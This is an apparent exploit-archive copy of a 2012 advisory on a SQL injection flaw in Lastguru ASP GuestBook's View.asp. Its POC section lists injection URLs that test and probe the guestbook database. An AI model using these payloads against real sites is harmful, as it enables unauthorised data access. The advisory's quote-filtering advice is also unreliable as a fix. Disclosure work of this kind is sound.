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Lastguru ASP Guestbook SQL Injection

Lastguru ASP Guestbook SQL Injection
Posted Mar 4, 2012
Authored by demonalex

Lastguru ASP Guestbook suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection, asp
MD5 | 744bf60db36981363e3fd5bea54deccf

Lastguru ASP Guestbook SQL Injection

Change Mirror Download
Title: Lastguru ASP GuestBook 'View.asp' - SQL Injection Vulnerability

Product : Lastguru ASP GuestBook

Version : Free Version

Vendor: http://www.LastGuru.com

Class: Input Validation Error

CVE:

Remote: Yes

Local: No

Published: 2012-03-04

Updated:

Impact : Medium (CVSSv2 Base : 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P)

Bug Description :
Page 'View.asp' of Lastguru ASP GuestBook(Free Version) is vulnerable with SQL Injection Vulnerability.

POC:
#-------------------------------------------------------------
http://victim/View.asp?E_Mail=webmaster@lastguru.com' and 'a'='a
http://victim/View.asp?E_Mail=webmaster@lastguru.com' and 'a'='b
http://victim/View.asp?E_Mail=webmaster@lastguru.com' and 0<(select count(*) from [book]) and 'a'='a
etc...
#-------------------------------------------------------------

Advice:
Use 'replace()' for filtering single quote and other dangerous symbols.

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

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